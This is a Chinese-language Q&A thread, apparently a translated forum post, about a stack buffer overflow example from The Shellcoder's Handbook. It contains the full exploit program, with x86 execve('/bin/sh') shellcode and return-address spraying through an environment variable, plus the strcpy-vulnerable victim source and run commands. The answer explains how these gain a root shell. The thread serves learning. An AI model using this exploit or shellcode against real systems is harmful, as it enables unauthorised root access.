这个程序究竟意味着什么? (Shellcoder的手册)

时间:2018-06-14 16:35:22

标签: c shellcode

最近我正在阅读shellcoders手册,我遇到的这个例子让我很困惑。我部分能够解码它的含义但不完全。我添加了评论,我理解了它的含义,并且还在我不理解作者想要完成的内容的地方添加了评论。有人可以请告诉我这个第一个c程序是如何工作的吗?

#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] = 
 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


unsigned long find_start(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
  printf("Attempting address: 0x%x\n", addr);

  ptr = buff; // ???? buff is a random memory address within the progam. Why make ptr equal to buff?
  addr_ptr = (long *) ptr; //typecasting to long pointer and assigning it to the random memory address, but why?
  for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr; // Fill bsize worth of stack memory with address, possibly to overwrite EIP on return from main

  ptr += 4; // why add ptr by 4? I mean I know each stack space is worth 4 units but considering ptr is a random memory address why add it by 4?

   for (i = 0; i < strlen(sc); i++)
           *(ptr++) = sc[i]; // place shellcode at ptr's address

   buff[bsize - 1] = '\0'; // no clue why this is used? Probably terminating shellcode? Or for marking end of buffer using \0

   memcpy(buff,"BUF=",4); // copy memory 4 units equivalent of BUF=
   putenv(buff); // linux environment variable stuff. Not really sure.
   system("/bin/bash"); // no idea what this does.
 }

此前的文字还提到它用于获取linux中对shell的root访问权限。如果正在使用root权限运行进程,它是否有效,这是否意味着缓冲区溢出到另一个进程的指令?这应该是不可能的,但我只想确认一下。如果不是如何获得shell或root shell的root权限?

[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768 
[jack@0day local]$ ./victim $BUF

这是它在命令行中显示的方式,并且作者以root权限启动victim.c。

victim.c源代码如下:

int main(int argc,char *argv[]) {
char little_array[512]; 
if (argc > 1) 
strcpy(little_array,argv[1]); }

1 个答案:

答案 0 :(得分:2)

所以,我终于能够找到整个代码的含义,尽管我觉得作者在编写代码时做了一些假设。我将在整个过程中解释它们。如果您觉得在某个时刻我的解释是错误的,请随意纠正我。

#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] = 
 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

这第一段代码包括C语言的标准库头。虽然它没有在这里使用,但它只是本书的一般规范,将其包含在所提供的每一段代码中。 作者定义了偏移大小和缓冲区大小。如果用户在命令行中没有提供输入,这些将成为偏移量大小/缓冲区大小的默认值,我们将在下面提到的代码中注意到。此外,作者声称shellcode将运行Linux终端。

unsigned long find_start(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
  printf("Attempting address: 0x%x\n", addr);

直到代码中的这一点,我们有一个find_start()程序将esp寄存器值移动到eax寄存器。然后返回eax的值。简而言之,此代码旨在查找当前堆栈指针的位置。

在主要内容中,我们看到了一些被定义的指针。接下来,我们看到作者将buffer_size指定为bsize作为默认情况,offsetoffset_size也是如此。接下来检查argc值,这基本上意味着如果输入超过1,则第一个输入将为bsize,第二个输入将分别为offset

对于下一段代码,我将使用下图来解释这个概念: Memory Diagram Concept of function calls in stack 正如我们所看到的,堆栈假设向下增长,虽然这取决于架构,但本书假定它向下增长。

addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);

第一行表示addr设置为我们的shellcode驻留在内存中的esp - the defined offset value的值(我们将在下一节中详细介绍)。这是作者作出的第一个假设,作者假设每次运行程序时,将为find_start()分配相同数量的堆栈空间,因此esp - offset将保持不变。然后打印出该值。

  ptr = buff;
  addr_ptr = (long *) ptr; 
  for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr; 

  ptr += 4; 

   for (i = 0; i < strlen(sc); i++)
           *(ptr++) = sc[i]; 

ptr等于buff,进一步强制转换为long *并等于addr_ptr。这基本上试图实现的是,由于buff位于main()的堆栈内存中,它将指向main()内存中的随机位置。请注意,buff指向的内存位置大于find_start()堆栈内存的内存地址。因此buff将大于addr。 从内存中的这一点开始,我们将在堆栈内存中写入shellcode起始位置的地址,直到以bsize为增量分配4。 4的增量是因为在32位系统中每个堆栈存储器单元值4个字节。 然后ptr递增4以指向堆栈存储器中的下一个更高位置。我们为什么这样做将在下一节中介绍。 接下来,我们递增ptr并将shellcode写入内存,并在需要时覆盖先前写入的addr。在内存中写入sc的最后一个字符的位置是shellcode的起始地址。 addr应该与此地址等效,我们可以通过尝试不同的offsetsbuffer sizes或通过设置断点来检查程序运行时的内存布局来实现。

buff[bsize - 1] = '\0'; 

   memcpy(buff,"BUF=",4); 
   putenv(buff); 
   system("/bin/bash");

缓冲区的最后一个字节等于\0以标记输入的结束。之前我们将ptr增加了4,这是为了在buff的位置为4个字节的数据提供空间,相当于BUF=,这有助于我们设置环境变量。 putenv(buff)使其看起来像BUF=(SHELLCODE-REGION)+(MEMORY ADDRESS TO START OF SHELL CODE REGION)+\0。因此BUF是一个由这个长字符串组成的环境变量。然后执行system("bin/bash"),据我所知,它几乎启动了linux命令行,但我不确定是否相同。

接下来是使用此环境变量部分。

[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768 
[jack@0day local]$ ./victim $BUF

这意味着attackbuffer size 500一起运行,生成环境变量BUF。然后针对BUF计划对此victim进行测试。如果我们回想一下,假设工作的原因是BUF字符串的最后一部分由第一个shellcode指令的内存地址组成。因此,这部分假设要覆盖上图中显示的EBPRET的值。返回时的程序将使用RET处的地址并启动shellcode,假设它启动了一个linux终端,因为受害者正在运行root,shellcode将root作为终端启动为好。

此计划有一个重点:需要尝试多个bsizeoffset值,以便最终找到适用于victim.c的值。其次,发生这种情况是因为在受害者中使用了strcpy(),它没有检查要复制的字符串的大小,如果它适合数组,它会将写入到数组所指向的内存位置。此外,由于ESP驻留在内存的最低部分并在程序执行时向上填充,如果传递的数据大于分配的堆栈空间RETEBP也许甚至更多都被传递的数据覆盖。

如果解释中有任何错误,请发表评论。我试图解释它以供将来参考,以防我忘记了这个程序的作用,也为其他人努力理解这个程序实际上要做的事情。